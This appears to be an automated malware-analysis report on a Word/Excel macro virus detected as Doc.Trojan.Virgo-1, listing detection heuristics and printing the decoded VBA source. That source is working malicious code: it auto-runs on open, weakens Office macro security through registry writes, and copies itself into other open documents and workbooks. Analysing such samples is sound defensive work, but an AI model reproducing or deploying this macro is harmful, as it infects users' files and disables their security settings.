Malware Insights
The sample contains VBA macros, including Document_open and Workbook_open, which are designed to execute automatically. Critical heuristics indicate the use of WScript.Shell and the Shell() function, suggesting an attempt to run external commands or scripts. The macro attempts to modify registry keys related to Office security settings, specifically writing '1' to 'HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security\Level' and 'AccessVBOM', likely to bypass macro security warnings and enable execution. This behavior is consistent with a macro-based downloader aiming to establish a foothold or download further malicious content.
Heuristics 9
-
ClamAV: Doc.Trojan.Virgo-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Virgo-1
-
VBA macros detected medium 6 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
If Application.Version = "8.0" Then End Set Sys = CreateObject("wscript.shell") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
If Application.Version = "8.0" Then End Set Sys = CreateObject("wscript.shell") -
GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
On Error GoTo NextApp1 Set Xl = GetObject(Class:="Excel.Application") While i < Xl.Workbooks.Count -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_open() If Application.Version = "8.0" Then End -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
End Sub Private Sub Workbook_open() If Application.Version = "8.0" Then End -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3516 bytes |
SHA-256: 605738623314068642715569159529890f06ef4f3ef3d1bfbec4988ee121fb70 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
'Virgo
Const regpath = "HKEY_CURRENT_USER\Software\Microsoft\Office"
Const lvl = "Level"
Const Avb = "AccessVBOM"
Private Sub Document_open()
If Application.Version = "8.0" Then End
With System
.PrivateProfileString("", regpath & "\10.0\Word\Security", lvl) = 1&
If .PrivateProfileString("", regpath & "\10.0\Word\Security", Avb) <> 1& Then
.PrivateProfileString("", regpath & "\10.0\Word\Security", Avb) = 1&
WordBasic.FileExit dlg
End If
.PrivateProfileString("", regpath & "\10.0\Excel\Security", lvl) = 1&
.PrivateProfileString("", regpath & "\10.0\Excel\Security", Avb) = 1&
.PrivateProfileString("", regpath & "\9.0\Word\Security", lvl) = 1&
.PrivateProfileString("", regpath & "\9.0\Excel", lvl) = 1&
End With
End Sub
Private Sub Workbook_open()
If Application.Version = "8.0" Then End
Set Sys = CreateObject("wscript.shell")
With Sys
.Regwrite regpath & "\10.0\Word\Security\" & lvl, 1&, "Reg_DWORD"
End With
If .PrivateProfileString("", regpath & "\10.0\Word\Security", Avb) <> 1& Then
.PrivateProfileString("", regpath & "\10.0\Word\Security", Avb) = 1&
WordBasic.FileExit dlg
End If
.PrivateProfileString("", regpath & "\10.0\Excel\Security", lvl) = 1&
.PrivateProfileString("", regpath & "\10.0\Excel\Security", Avb) = 1&
.PrivateProfileString("", regpath & "\9.0\Word\Security", lvl) = 1&
.PrivateProfileString("", regpath & "\9.0\Excel", lvl) = 1&
End With
End Sub
Private Sub document_close()
While i < Documents.Count
i = i + 1
If Documents(i).Saved = False Then
With Documents(i).VBProject.vbcomponents(1).codemodule
If .Lines(1, 1) <> "'Virgo" Then
.DeleteLines 1, .CountOfLines
.addfromstring mycode
End If
End With
End If
Wend
On Error GoTo NextApp1
Set Xl = GetObject(Class:="Excel.Application")
While i < Xl.Workbooks.Count
i = i + 1
If Xl.Workbooks(i).Saved = False Then
With Xl.Workbooks(i).VBProject.vbcomponents("ThisWorkbook").codemodule
If .Lines(1, 1) <> "'Virgo" Then
.DeleteLines 1, .CountOfLines
.addfromstring mycode
End If
End With
End If
Wend
NextApp1:
End Sub
Private Sub Workbook_Deactivate()
While i < Workbooks.Count
i = i + 1
If Workbooks(i).Saved = False Then
With Workbooks(i).VBProject.vbcomponents("ThisWorkbook").codemodule
If .Lines(1, 1) <> "'Virgo" Then
.DeleteLines 1, .CountOfLines
.addfromstring mycode
End If
End With
End If
Wend
On Error GoTo NextApp1
Set Wm = GetObject(Class:="Worm.Application")
While i < Wm.Documents.Count
i = i + 1
If Wm.Documents(i).Saved = False Then
With Wm.Documents(i).VBProject.vbcomponents(1).codemodule
If .Lines(1, 1) <> "'Virgo" Then
.DeleteLines 1, .CountOfLines
.addfromstring mycode
End If
End With
End If
Wend
NextApp1:
End Sub
Private Function mycode()
With Application.VBE.SelectedVBComponent.codemodule
mycode = .Lines(1, .CountOfLines)
End With
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.